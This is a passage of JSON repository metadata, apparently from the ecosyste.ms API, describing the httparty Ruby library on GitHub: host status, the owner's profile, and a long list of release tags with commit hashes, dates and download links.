analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31749763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-13T09:16:15.125Z","status":"ssl_error","status_checked_at":"2026-04-13T09:16:05.023Z","response_time":93,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports ","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"tags":[{"name":"v0.24.2","sha":"9c89e55ce3578b393e17b2928acab5b5f941e808","kind":"commit","published_at":"2026-01-14T22:53:56.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2/manifests"},{"name":"v0.24.1","sha":"906aab0de3d41129c0003f582f57fd30b970056a","kind":"commit","published_at":"2026-01-14T22:44:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1/manifests"},{"name":"v0.24.0","sha":"55ec76e8d1df7903eab3f7c2367991400d3cf65e","kind":"commit","published_at":"2025-12-28T21:37:53.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0/manifests"},{"name":"v0.23.2","sha":"c74571f7925c8e142d02c2b7d6ebeedf923b1dd1","kind":"commit","published_at":"2025-10-07T21:53:15.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"9417ce158d732fecc753c656accb59c470cfb6f8","kind":"commit","published_at":"2025-03-28T18:28:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"891a4a8093afd4cacecab2719223e3170d07f1c0","kind":"commit","published_at":"2025-03-27T14:45:51.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"6e1f154309a6076208ba9bec8e4183ec619541e0","kind":"commit","published_at":"2024-04-29T12:26:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.22.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"e731057ebc297eb8a750e866b7762e869dea3087","kind":"commit","published_at":"2022-12-30T21:05:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.21.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"32c57d91581fd91cf1ed429c24cf410528934a9c","kind":"commit","published_at":"2021-09-29T13:04:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.20.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0d20a4f8225a653ab306d4994cf737e4fdf2b7d4","kind":"commit","published_at":"2021-09-29T12:39:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"b4213368675a8dd7f45e443fd9b8c3f7edb1eee1","kind":"commit","published_at":"2021-09-09T14:57:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"0e8b82730a143c07c919bb8773f017338f637016","kind":"commit","published_at":"2020-06-10T18:40:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"b4aba417a502342b1f6940c711e155b8eb8c3951","kind":"commit","published_at":"2020-02-19T16:09:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0/manifests"},{"name":"v0.17.3","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3/manifests"},{"name":"v0","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0/manifests"},{"name":"v0.17.2","sha":"aec466f984fc178257efffcc922c0c559baea5ae","kind":"commit","published_at":"2019-12-16T11:30:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"47c8b2529b999e74bdc5fa80537dfe96276deec2","kind":"commit","published_at":"2019-08-30T16:11:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"b4099defba01231d2faaaa2660476f867e096bfb","kind":"commit","published_at":"2019-04-20T14:07:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0/manifests"},{"name":"v0.16.4","sha":"7b2ad805a5bcc80dc4b06b542dd6de161e5cd95b","kind":"commit","published_at":"2019-02-05T15:39:33.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4/manifests"},{"name":"v0.16.2","sha":"da1b1ad1d67be214b0e7a587edf84a4bc5a5e793","kind":"commit","published_at":"2018-03-30T13:54:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"1a52a134c4aeef77668e56cbcf646d266d798389","kind":"commit","published_at":"2018-03-12T14:45:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"8f6c6a6b95b5b404c82415663ee47ccc890ba9c9","kind":"commit","published_at":"2018-02-13T02:01:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0/manifests"},{"name":"v0.15.7","sha":"2b0a21bccce29c57142af1958b375d0fe2ccd176","kind":"commit","published_at":"2018-02-07T15:57:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7/manifests"},{"name":"v0.15.6","sha":"5b7797b2827610ef35c7f4ce72d144b1748f0ee8","kind":"commit","published_at":"2017-07-21T20:15:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6/manifests"},{"name":"v0.15.5","sha":"7b5147c6885222af6b58ef6fa7c90ff4bb8b91f6","kind":"commit","published_at":"2017-05-19T02:01:50.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5/manifests"},{"name":"v0.15.4","sha":"6406421ac3e0252482afcdf22e652bf5bea754fb","kind":"commit","published_at":"2017-05-17T18:59:35.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4/manifests"},{"name":"v0.15.3","sha":"1c9b41140c72aa92b5c0f8792ee95f9ee0b142eb","kind":"commit","published_at":"2017-05-16T13:24:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"e9f4624c1172120bbd39ddc636620a24fc9386b1","kind":"commit","published_at":"2017-05-12T18:53:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9d4a91fe62b4184baadc2a5fe77a07417653e23c","kind":"commit","published_at":"2017-05-12T13:12:26.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"562e8ee20e7c256fb26ebd2b1eeb4751cb2abeb8","kind":"commit","published_at":"2017-05-11T14:43:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"f4a3e84f36eb8f33b76b9b3ae4739887ab87f495","kind":"commit","published_at":"2016-07-25T14:18:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.14.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0/manifests"},{"name":"v0.13.7","sha":"9d3dbc3852b294173d0d8309e59051491bf7d048","kind":"commit","published_at":"2015-09-23T12:08:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7/manifests"},{"name":"v0.13.6","sha":"5b6f22d2d87419ea862107e9e7947e71b912869a","kind":"commit","published_at":"2015-09-21T01:24:30.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6/manifests"},{"name":"v0.13.5","sha":"38ca4cf2e63d70df49575ceb0f3f669fbafd7739","kind":"commit","published_at":"2015-05-19T16:46:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5/manifests"},{"name":"v0.13.4","sha":"923eadd1ba94ceb614f5edd45d9a3c0d353e5f21","kind":"commit","published_at":"2015-05-13T15:33:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4/manifests"},{"name":"v0.13.3","sha":"107e69a6d1c8ceeb74e2e0a8b70f7b2bdbbd4a7a","kind":"commit","published_at":"2014-11-06T20:01:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3/manifests"},{"name":"v0.13.2","sha":"4679c8314dcace10ed4b912b0a522d14bb05d21d","kind":"commit","published_at":"2014-11-03T15:17:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2/manifests"},{"name":"v0.13.1","sha":"a570e54dd32e7c1ea16b072d0e10f552086ddbdb","kind":"commit","published_at":"2014-04-08T14:54:58.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"3c01a60af29ae6efd9347df23a5866a87488aa14","kind":"commit","published_at":"2014-02-14T18:50:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7feb0287a0adae1676f4c6abc06414bae05f8b9b","kind":"commit","published_at":"2013-10-10T15:34:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.12.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1fde99ba8aa43372726804e5fe87d8b459baf59b","kind":"tag","published_at":"2013-04-10T13:43:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.11.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0/manifests"},{"name":"v0.10.2","sha":"a320025dbc89e9c572603a47e9e228cbfa285a14","kind":"tag","published_at":"2013-01-27T01:32:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"0f04ba868c92e932f6ad4a64825a95a9819063a3","kind":"tag","published_at":"2013-01-26T16:38:32.000Z","download_url":"https://codeload.github.com/jnunemaker/ht